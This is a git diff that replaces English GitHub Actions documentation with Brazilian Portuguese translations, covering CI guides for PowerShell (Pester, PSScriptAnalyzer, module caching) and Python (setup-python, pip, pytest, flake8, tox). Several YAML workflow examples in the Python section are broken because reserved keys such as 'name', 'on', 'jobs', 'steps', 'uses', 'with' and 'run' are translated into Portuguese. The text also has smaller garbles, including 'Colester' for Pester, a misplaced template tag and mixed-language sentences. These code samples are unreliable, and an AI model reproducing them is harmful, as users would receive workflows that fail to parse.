 - [Pester](https://pester.dev)
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Adding a workflow for Pester
+## Adicionar um fluxo de trabalho ao Pester
 
-To automate your testing with PowerShell and Pester, you can add a workflow that runs every time a change is pushed to your repository. In the following example, `Test-Path` is used to check that a file called `resultsfile.log` is present.
+Para automatizar o seu teste com PowerShell e Pester, você pode adicionar um fluxo de trabalho que é executado toda vez que uma alteração é carregada no seu repositório. No exemplo a seguir, `Test-Path` é usado para verificar se um arquivo denominado `resultsfile.log` está presente.
 
-This example workflow file must be added to your repository's `.github/workflows/` directory:
+Este exemplo de arquivo de fluxo de trabalho deve ser adicionado ao diretório `.github/workflows/` do repositório:
 
 {% raw %}
 ```yaml
@@ -69,17 +69,17 @@ jobs:
 ```
 {% endraw %}
 
-* `shell: pwsh` - Configures the job to use PowerShell when running the `run` commands.
-* `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory.
-* `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example:
+* `shell: pwsh` - Configura o trabalho para usar PowerShell quando executa os comandos `executar`.
+* `run: Test-Path resultsfile.log` - Verifica se um arquivo denominado `resultsfile.log` está presente no diretório raiz do repositório.
+* `Should -Be $true` - Usa o Pester para definir um resultado esperado. Se o resultado for inesperado, {% data variables.product.prodname_actions %} irá sinalizar isso como um teste falho. Por exemplo:
 
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test-updated.png)
+  ![Falha no teste de Pester](/assets/images/help/repository/actions-failed-pester-test-updated.png)
   {% else %}
-  ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test.png)
+  ![Falha no teste de Pester](/assets/images/help/repository/actions-failed-pester-test.png)
   {% endif %}
 
-* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following:
+* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Usa o Pester para executar testes definidos em um arquivo denominado `Unit.Tests.ps1`. Por exemplo, para realizar o mesmo teste descrito acima, o `Unit.Tests.ps1` conterá o seguinte:
   ```
   Describe "Check results file is present" {
       It "Check results file is present" {
@@ -88,29 +88,29 @@ jobs:
   }
   ```
 
-## PowerShell module locations
+## Locais de módulos do PowerShell
 
-The table below describes the locations for various PowerShell modules in each {% data variables.product.prodname_dotcom %}-hosted runner.
+A tabela abaixo descreve os locais para diversos módulos do PowerShell em cada executor hospedado em {% data variables.product.prodname_dotcom %}.
 
-|| Ubuntu | macOS | Windows |
-|------|-------|------|----------|
-|**PowerShell system modules** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`|
-|**PowerShell add-on modules**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`|
-|**User-installed modules**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`|
+|                                           | Ubuntu                                           | macOS                                             | Windows                                                      |
+| ----------------------------------------- | ------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------------------ |
+| **Módulos do sistema do PowerShell**      | `/opt/microsoft/powershell/7/Modules/*`          | `/usr/local/microsoft/powershell/7/Modules/*`     | `C:\program files\powershell\7\Modules\*`              |
+| **Módulos de complementos do PowerShell** | `/usr/local/share/powershell/Modules/*`          | `/usr/local/share/powershell/Modules/*`           | `C:\Modules\*`                                            |
+| **Módulos instalados pelo usuário**       | `/home/runner/.local/share/powershell/Modules/*` | `/Users/runner/.local/share/powershell/Modules/*` | `C:\Users\runneradmin\Documents\PowerShell\Modules\*` |
 
-## Installing dependencies
+## Instalar dependências
 
-{% data variables.product.prodname_dotcom %}-hosted runners have PowerShell 7 and Pester installed. You can use `Install-Module` to install additional dependencies from the PowerShell Gallery before building and testing your code.
+Executores hospedados em {% data variables.product.prodname_dotcom %} têm PowerShell 7 e o Pester instalado. Você pode usar `Install-Module` para instalar dependências adicionais da Galeria PowerShell antes de construir e testar o seu código.
 
 {% note %}
 
-**Note:** The pre-installed packages (such as Pester) used by {% data variables.product.prodname_dotcom %}-hosted runners are regularly updated, and can introduce significant changes. As a result, it is recommended that you always specify the required package versions by using `Install-Module` with `-MaximumVersion`.
+**Nota:** Os pacotes pré-instalados (como o Colester) usados pelos executores hospedados em {% data variables.product.prodname_dotcom %} são atualizados regularmente e podem introduzir mudanças significativas. Como resultado, recomenda-se que você sempre especifique as versões necessárias dos pacotes usando o `Install-Module` com `-MaximumVersion`.
 
 {% endnote %}
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você também poderá armazenar em cache dependências para acelerar seu fluxo de trabalho. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
-For example, the following job installs the `SqlServer` and `PSScriptAnalyzer` modules:
+Por exemplo, o trabalho a seguir instala os módulos `SqlServer` e `PSScriptAnalyzer`:
 
 {% raw %}
 ```yaml
@@ -130,15 +130,15 @@ jobs:
 
 {% note %}
 
-**Note:** By default, no repositories are trusted by PowerShell. When installing modules from the PowerShell Gallery, you must explicitly set the installation policy for `PSGallery` to `Trusted`.
+**Observação:** Por padrão, nenhum repositório é confiável pelo PowerShell. Ao instalar módulos na Galeria do PowerShell, você deve definir explicitamente a política de instalação para `PSGallery` como `Confiável`.
 
 {% endnote %}
 
-### Caching dependencies
+### Memorizar dependências
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache PowerShell dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá armazenar em cache dependências do PowerShell usando uma chave única, o que permite que você restaure as dependências para futuros fluxos de trabalho com a ação [`cache`](https://github.com/marketplace/actions/cache). Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
-PowerShell caches its dependencies in different locations, depending on the runner's operating system. For example, the `path` location used in the following Ubuntu example will be different for a Windows operating system.
+O PowerShell armazena suas dependências em diferentes locais, dependendo do sistema operacional do executor. Por exemplo, o `caminho` local usado no exemplo do Ubuntu a seguir será diferente para um sistema operacional Windows.
 
 {% raw %}
 ```yaml
@@ -159,13 +159,13 @@ steps:
 ```
 {% endraw %}
 
-## Testing your code
+## Testar seu código
 
-You can use the same commands that you use locally to build and test your code.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código.
 
-### Using PSScriptAnalyzer to lint code
+### Usar PSScriptAnalyzer para código lint
 
-The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1` files in the repository. For more information, see [PSScriptAnalyzer on GitHub](https://github.com/PowerShell/PSScriptAnalyzer).
+O exemplo a seguir instala `PSScriptAnalyzer` e o usa para limpar todos os arquivos `ps1` no repositório. Para obter mais informações, consulte [PSScriptAnalyzer no GitHub](https://github.com/PowerShell/PSScriptAnalyzer).
 
 {% raw %}
 ```yaml
@@ -193,11 +193,11 @@ The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1`
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Você pode fazer o upload de artefatos para visualização após a conclusão de um fluxo de trabalho. Por exemplo, é possível que você precise salvar os arquivos de registro, os despejos de núcleo, os resultados de teste ou capturas de tela. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-The following example demonstrates how you can use the `upload-artifact` action to archive the test results received from `Invoke-Pester`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+O exemplo a seguir demonstra como você pode usar a ação `upload-artifact` para arquivar os resultados de teste recebidos de `Invoke-Pester`. Para obter mais informações, consulte a ação <[`upload-artifact`](https://github.com/actions/upload-artifact).
 
 {% raw %}
 ```yaml
@@ -223,13 +223,13 @@ jobs:
 ```
 {% endraw %}
 
-The `always()` function configures the job to continue processing even if there are test failures. For more information, see "[always](/actions/reference/context-and-expression-syntax-for-github-actions#always)."
+A função `always()` configura o trabalho para continuar processando mesmo se houver falhas no teste. Para obter mais informações, consulte "[always](/actions/reference/context-and-expression-syntax-for-github-actions#always)".
 
-## Publishing to PowerShell Gallery
+## Publicar na Galeria do PowerShell
 
-You can configure your workflow to publish your PowerShell module to the PowerShell Gallery when your CI tests pass. You can use secrets to store any tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Você pode configurar o seu fluxo de trabalho para publicar o seu módulo do PowerShell para a Galeria PowerShell quando o seu teste de passar. Você pode usar segredos para armazenar quaisquer tokens ou credenciais necessárias para publicar seu pacote. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-The following example creates a package and uses `Publish-Module` to publish it to the PowerShell Gallery:
+O exemplo a seguir cria um pacote e usa `Publish-Module` para publicá-lo na Galeria do PowerShell:
 
 {% raw %}
 ```yaml
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md
index c67f6a545b..99f2df0b1c 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Python
-intro: You can create a continuous integration (CI) workflow to build and test your Python project.
+title: Criar e testar o Python
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto Python.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions
   - /actions/language-and-framework-guides/using-python-with-github-actions
@@ -15,38 +15,38 @@ hidden: true
 topics:
   - CI
   - Python
-shortTitle: Build & test Python
+shortTitle: Criar & testar o Python
 hasExperimentalAlternative: true
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to build, test, and publish a Python package.
+Este guia mostra como criar, testar e publicar um pacote no Python.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Os executores hospedados em {% else %} {% data variables.product.prodname_dotcom %} têm um cache de ferramentas com software pré-instalado, que inclui Python e PyPy. Você não precisa instalar nada! Para obter uma lista completa do software atualizado e das versões pré-instaladas do Python e PyPy, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-We recommend that you have a basic understanding of Python, PyPy, and pip. For more information, see:
-- [Getting started with Python](https://www.python.org/about/gettingstarted/)
+Recomendamos que você tenha um entendimento básico do Python, PyPy e pip. Para obter mais informações, consulte:
+- [Primeiros passos com o Python](https://www.python.org/about/gettingstarted/)
 - [PyPy](https://pypy.org/)
-- [Pip package manager](https://pypi.org/project/pip/)
+- [Gerenciador de pacotes do Pip](https://pypi.org/project/pip/)
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Using the Python starter workflow
+## Usando o fluxo de trabalho inicial do Python
 
-{% data variables.product.prodname_dotcom %} provides a Python starter workflow that should work for most Python projects. This guide includes examples that you can use to customize the starter workflow. For more information, see the [Python starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Python que deve funcionar na maioria dos projetos do Python. Este guia inclui exemplos que você pode usar para personalizar o fluxo de trabalho inicial. Para obter mais informações, consulte o [fluxo de trabalho inicial do Python](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
+Para iniciar rapidamente, adicione o fluxo de trabalho inicial para o diretório `.github/workflows` do seu repositório.
 
 {% raw %}
 ```yaml{:copy}
@@ -85,38 +85,38 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Python version
+## Especificar uma versão do Python
 
-To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository.
+Para usar uma versão pré-instalada do Python ou do PyPy em um executor hospedado em {% data variables.product.prodname_dotcom %}, use a ação `setup-python`. Esta ação encontra uma versão específica do Python ou do PyPy na cache das ferramenatas em cada executor e adiciona os binários necessários ao `PATH`, que persiste para o restante do trabalho. Se uma versão específica do Python não for pré-instalada na cache de ferramentas, a `setup-python` ação fará o download e irá configurar a versão apropriada do repositório [`python-versions`](https://github.com/actions/python-versions).
 
-Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python).
+Using the `setup-action` is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. Se você estiver usando um executor auto-hospedado, você deverá instalar Python e adicioná-lo ao `PATH`. Para obter mais informações, consulte a ação [`setup-python`](https://github.com/marketplace/actions/setup-python).
 
-The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner.
+A tabela abaixo descreve os locais para o armazenamento de ferramentas em cada executor hospedado em {% data variables.product.prodname_dotcom %}.
 
-|| Ubuntu | Mac | Windows |
-|------|-------|------|----------|
-|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`|
-|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`|
-|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`|
+|                                      | Ubuntu                          | Mac                                      | Windows                                    |
+| ------------------------------------ | ------------------------------- | ---------------------------------------- | ------------------------------------------ |
+| **Diretório da cache da ferramenta** | `/opt/hostedtoolcache/*`        | `/Users/runner/hostedtoolcache/*`        | `C:\hostedtoolcache\windows\*`         |
+| **Cache da ferramenta do Python**    | `/opt/hostedtoolcache/Python/*` | `/Users/runner/hostedtoolcache/Python/*` | `C:\hostedtoolcache\windows\Python\*` |
+| **Cache da ferramenta do PyPy**      | `/opt/hostedtoolcache/PyPy/*`   | `/Users/runner/hostedtoolcache/PyPy/*`   | `C:\hostedtoolcache\windows\PyPy\*`   |
 
-If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README.
+Se você estiver usando um executor auto-hospedado, você poderá configurá-lo para usar a ação `setup-python` para gerenciar suas dependências. Para obter mais informações, consulte [usando o setup-python com um executor auto-hospedado](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) na README do `setup-python`.
 
-{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see "[Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" and the "[Semantic versioning specification](https://semver.org/)."
+O {% data variables.product.prodname_dotcom %} é compatível com a sintaxe semântica de versionamento. Para obter mais informações, consulte "[Usar o versionamento semântico](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" e "[Especificação do versionamento semântico](https://semver.org/)".
 
-### Using multiple Python versions
+### Usar várias versões do Python
 
 {% raw %}
 ```yaml{:copy}
-name: Python package
+nome: Pacote Python
 
-on: [push]
+em: [push]
 
-jobs:
-  build:
+trabalhos:
+  criar:
 
     runs-on: ubuntu-latest
-    strategy:
-      # You can use PyPy versions in python-version.
+    estratégia:
+      # Você pode usar as versões do PyPy em python-version.
       # For example, pypy2 and pypy3
       matrix:
         python-version: ["2.7", "3.6", "3.7", "3.8", "3.9"]
@@ -133,9 +133,9 @@ jobs:
 ```
 {% endraw %}
 
-### Using a specific Python version
+### Usar uma versão específica do Python
 
-You can configure a specific version of python. For example, 3.8. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3.
+Você pode configurar uma versão específica do python. Por exemplo, 3,8. Como alternativa, você pode usar a sintaxe da versão semântica para obter a última versão secundária. Este exemplo usa a última versão secundária do Python 3.
 
 {% raw %}
 ```yaml{:copy}
@@ -163,11 +163,11 @@ jobs:
 ```
 {% endraw %}
 
-### Excluding a version
+### Excluir uma versão
 
-If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.4 with arch x64 not found`. The error message includes the available versions.
+Se especificar uma versão do Python que estiver indisponível, `setup-python` ocorrerá uma falha com um erro como: `##[error]Version 3.4 with arch x64 not found`. A mensagem de erro inclui as versões disponíveis.
 
-You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)."
+Também é possível usar a palavra-chave `excluir` no seu fluxo de trabalho se houver uma configuração do Python que você não deseja executar. Para obter mais informações, consulte a sintaxe "[ para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)."
 
 {% raw %}
 ```yaml{:copy}
@@ -191,59 +191,59 @@ jobs:
 ```
 {% endraw %}
 
-### Using the default Python version
+### Usar a versão padrão do Python
 
-We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected.
+Recomendamos usar `setup-python` para configurar a versão do Python usada nos seus fluxos de trabalho, porque isso ajuda a deixar as suas dependências explícitas. Se você não usar `setup-python`, a versão padrão do Python definida em `PATH` será usada em qualquer shell quando você chamar `python`. A versão-padrão do Python varia entre executores hospedados no {% data variables.product.prodname_dotcom %}, o que pode causar mudanças inesperadas ou usar uma versão mais antiga do que o esperado.
 
-| {% data variables.product.prodname_dotcom %}-hosted runner | Description |
-|----|----|
-| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. |
-| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.|
-| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. |
+| Executor hospedado em{% data variables.product.prodname_dotcom %} | Descrição                                                                                                                                                                                                                                                                                                                                                                                                |
+| ----------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Ubuntu                                                            | Os executores do Ubuntu têm várias versões do sistema do Python instaladas em `/usr/bin/python` e `/usr/bin/python3`. As versões do Python que vêm empacotadas com o Ubuntu são adicionais às versões que o {% data variables.product.prodname_dotcom %} instala na cache das ferramentas.                                                                                                               |
+| Windows                                                           | Excluindo as versões do Python que estão na cache de ferramentas, o Windows não é compatível com uma versão equivalente do sistema do Python. Para manter um comportamento consistente com outros executores e permitir que o Python seja usado de forma inovadora sem a ação `setup-python` , {% data variables.product.prodname_dotcom %} adiciona algumas versões da cache das ferramentas ao `PATH`. |
+| macOS                                                             | Os executores do macOS têm mais de uma versão do sistema do Python instalada, além das versões que fazem parte da cache de ferramentas. As versões do sistema do Python estão localizadas no diretório `/usr/local/Cellar/python/*`.                                                                                                                                                                     |
 
-## Installing dependencies
+## Instalar dependências
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages.
+Os executores hospedados em {% data variables.product.prodname_dotcom %} têm instalado o gerenciador do pacote pip. Você pode usar o pip para instalar dependências do registro de pacotes do PyPI antes de criar e testar o seu código. Por exemplo, o YAML abaixo instala ou atualiza o instalador de pacotes `pip` e as os pacotes `setuptools` e `wheel`.
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você também poderá armazenar em cache dependências para acelerar seu fluxo de trabalho. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
 {% raw %}
 ```yaml{:copy}
-steps:
-- uses: actions/checkout@v2
-- name: Set up Python
-  uses: actions/setup-python@v2
-  with:
+etapas:
+- usa: actions/checkout@v2
+- nome: Configurar Python
+  usa: actions/setup-python@v2
+  com:
     python-version: '3.x'
-- name: Install dependencies
-  run: python -m pip install --upgrade pip setuptools wheel
+- Nome: Instalar dependências
+  executar: python -m pip install --upgrade pip setuptools wheel
 ```
 {% endraw %}
 
-### Requirements file
+### Arquivo de requisitos
 
-After you update `pip`, a typical next step is to install dependencies from *requirements.txt*. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
+Depois de atualizar o `pip`, um o próximo passo típico é instalar as dependências de *requirements.txt*. Para obter mais informações, consulte [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
 
 {% raw %}
 ```yaml{:copy}
-steps:
-- uses: actions/checkout@v2
-- name: Set up Python
-  uses: actions/setup-python@v2
-  with:
+etapas:
+- usa: actions/checkout@v2
+- nome: Configurar Python
+  usa: actions/setup-python@v2
+  com:
     python-version: '3.x'
-- name: Install dependencies
-  run: |
+- nome: Instalar dependências
+  executar: |
     python -m pip install --upgrade pip
     pip install -r requirements.txt
 ```
 {% endraw %}
 
-### Caching Dependencies
+### Memorizar dependências
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python).
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você pode armazenar em cache e restaurar as dependências usando a ação [`setup-python`](https://github.com/actions/setup-python).
 
-The following example caches dependencies for pip.
+O exemplo a seguir armazena dependências para pip.
 
 ```yaml{:copy}
 steps:
@@ -256,55 +256,55 @@ steps:
 - run: pip test
 ```
 
-By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching packages dependencies</a>" in the `setup-python` actions README. 
+Por padrão, a ação `setup-python` busca o arquivo de dependência (`requirements.txt` para pip ou `Pipfile.lock` para pipenv) em todo o repositório. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Armazenando em cache as dependências de pacotes</a>" nas ações README do `setup-python`.
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository.
+Se você tiver um requisito personalizado ou precisar de melhores controles para cache, você poderá usar a ação [`cache`](https://github.com/marketplace/actions/cache). O Pip armazena dependências em diferentes locais, dependendo do sistema operacional do executor. O caminho que você precisa efetuar o armazenamento em cache pode ser diferente do exemplo do Ubuntu acima, dependendo do sistema operacional que você usa. Para obter mais informações, consulte [Exemplos de armazenamento em cache do Python](https://github.com/actions/cache/blob/main/examples.md#python---pip) no repositório de ação `cache`.
 
-## Testing your code
+## Testar seu código
 
-You can use the same commands that you use locally to build and test your code.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código.
 
-### Testing with pytest and pytest-cov
+### Testar com pytest e pytest-cov
 
-This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/).
+Este exemplo instala ou atualiza `pytest` e `pytest-cov`. Em seguida, os testes são executados e retornados no formato JUnit enquanto os resultados da cobertura do código são emitidos em Cobertura. Para obter mais informações, consulte [JUnit](https://junit.org/junit5/) e [Cobertura](https://cobertura.github.io/cobertura/).
 
 {% raw %}
 ```yaml{:copy}
-steps:
-- uses: actions/checkout@v2
-- name: Set up Python
-  uses: actions/setup-python@v2
-  with:
+etapas:
+- usa: actions/checkout@v2
+- nome: Set up Python
+  usa: actions/setup-python@v2
+  com:
     python-version: '3.x'
-- name: Install dependencies
-  run: |
+- nome: Instalar dependências
+  executar: |
     python -m pip install --upgrade pip
     pip install -r requirements.txt
-- name: Test with pytest
-  run: |
+- Nome: Testar com pytest
+  executar: |
     pip install pytest
     pip install pytest-cov
     pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html
 ```
 {% endraw %}
 
-### Using Flake8 to lint code
+### UsarFlake8 para código lint
 
-The following example installs or upgrades `flake8` and uses it to lint all files. For more information, see [Flake8](http://flake8.pycqa.org/en/latest/).
+O exemplo a seguir instala ou atualiza o `flake8` e o usa para limpar todos os arquivos. Para obter mais informações, consulte [Flake8](http://flake8.pycqa.org/en/latest/).
 
 {% raw %}
 ```yaml{:copy}
-steps:
-- uses: actions/checkout@v2
-- name: Set up Python
-  uses: actions/setup-python@v2
-  with:
+etapas:
+- usa: actions/checkout@v2
+- nome: Configurar Python
+  usa: actions/setup-python@v2
+  com:
     python-version: '3.x'
-- name: Install dependencies
-  run: |
+- nome: Instalar dependências
+  executar: |
     python -m pip install --upgrade pip
     pip install -r requirements.txt
-- name: Lint with flake8
+- nome: Lint with flake8
   run: |
     pip install flake8
     flake8 .
@@ -312,11 +312,11 @@ steps:
 ```
 {% endraw %}
 
-The linting step has `continue-on-error: true` set. This will keep the workflow from failing if the linting step doesn't succeed. Once you've addressed all of the linting errors, you can remove this option so the workflow will catch new issues.
+O passo de limpeza de código foi configurado com `continue-on-error: true`. Isto impedirá que o fluxo de trabalho falhe se a etapa de limpeza de código não for bem-sucedida. Após corrigir todos os erros de limpeza de código, você poderá remover essa opção para que o fluxo de trabalho capture novos problemas.
 
-### Running tests with tox
+### Executar testes com tox
 
-With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/).
+Com {% data variables.product.prodname_actions %}, você pode executar testes com tox e distribuir o trabalho para vários trabalhos. Você precisará invocar tox usando a opção `-e py` para escolher a versão do Python no seu `PATH`, em vez de especificar uma versão específica. Para obter mais informações, consulte [tox](https://tox.readthedocs.io/en/latest/).
 
 {% raw %}
 ```yaml{:copy}
@@ -346,11 +346,11 @@ jobs:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
